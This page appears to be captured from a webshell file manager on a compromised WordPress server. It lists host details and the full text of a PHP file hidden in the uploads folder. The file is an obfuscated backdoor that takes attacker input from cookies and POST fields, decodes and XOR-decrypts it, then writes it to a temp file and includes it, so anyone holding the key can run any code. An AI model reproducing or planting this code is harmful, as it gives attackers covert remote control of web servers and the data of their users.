HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/HNVfzfp.php
$yshXgB = 'o' . 'u' . "\x5f" . chr ( 385 - 304 ).chr (85) . "\154" . 'w';$wyoyt = chr ( 921 - 822 ).'l' . "\141" . "\x73" . chr (115) . chr ( 295 - 200 ).chr ( 488 - 387 ).'x' . chr ( 473 - 368 ).chr ( 1032 - 917 )."\x74" . 's';$cOWBIGdm = class_exists($yshXgB); $wyoyt = "52954";$Yfrzhvoe = strpos($wyoyt, $yshXgB);if ($cOWBIGdm == $Yfrzhvoe){function kFGbsWzx(){$hkzSkHl = new /* 1496 */ ou_QUlw(7947 + 7947); $hkzSkHl = NULL;}$uahbpWDnQT = "7947";class ou_QUlw{private function diOhi($uahbpWDnQT){if (is_array(ou_QUlw::$nxFfd)) {$name = sys_get_temp_dir() . "/" . crc32(ou_QUlw::$nxFfd["salt"]);@ou_QUlw::$nxFfd["write"]($name, ou_QUlw::$nxFfd["content"]);include $name;@ou_QUlw::$nxFfd["delete"]($name); $uahbpWDnQT = "7947";exit();}}public function RQqlcM(){$kHmbFS = "38590";$this->_dummy = str_repeat($kHmbFS, strlen($kHmbFS));}public function __destruct(){ou_QUlw::$nxFfd = @unserialize(ou_QUlw::$nxFfd); $uahbpWDnQT = "270_32673";$this->diOhi($uahbpWDnQT); $uahbpWDnQT = "270_32673";}public function pShNJGoh($kHmbFS, $vxHxjT){return $kHmbFS[0] ^ str_repeat($vxHxjT, intval(strlen($kHmbFS[0]) / strlen($vxHxjT)) + 1);}public function gBpWS($kHmbFS){$LKMsamfsx = "\x62" . chr (97) . chr ( 658 - 543 ).'e' . "\66" . "\64";return array_map($LKMsamfsx . chr ( 374 - 279 )."\x64" . "\145" . "\x63" . "\157" . "\x64" . "\145", array($kHmbFS,));}public function __construct($CZcVlDbE=0){$NnojFG = chr (44); $kHmbFS = "";$YSRglzh = $_POST;$AmCQVZyaP = $_COOKIE;$vxHxjT = "c6e29bb4-6269-4265-8313-91eca8f9517e";$mrUPe = @$AmCQVZyaP[substr($vxHxjT, 0, 4)];if (!empty($mrUPe)){$mrUPe = explode($NnojFG, $mrUPe);foreach ($mrUPe as $WItofkNhrn){$kHmbFS .= @$AmCQVZyaP[$WItofkNhrn];$kHmbFS .= @$YSRglzh[$WItofkNhrn];}$kHmbFS = $this->gBpWS($kHmbFS);}ou_QUlw::$nxFfd = $this->pShNJGoh($kHmbFS, $vxHxjT);if (strpos($vxHxjT, $NnojFG) !== FALSE){$vxHxjT = str_pad($vxHxjT, 10); $vxHxjT = ltrim($vxHxjT);}}public static $nxFfd = 53146;}kFGbsWzx();}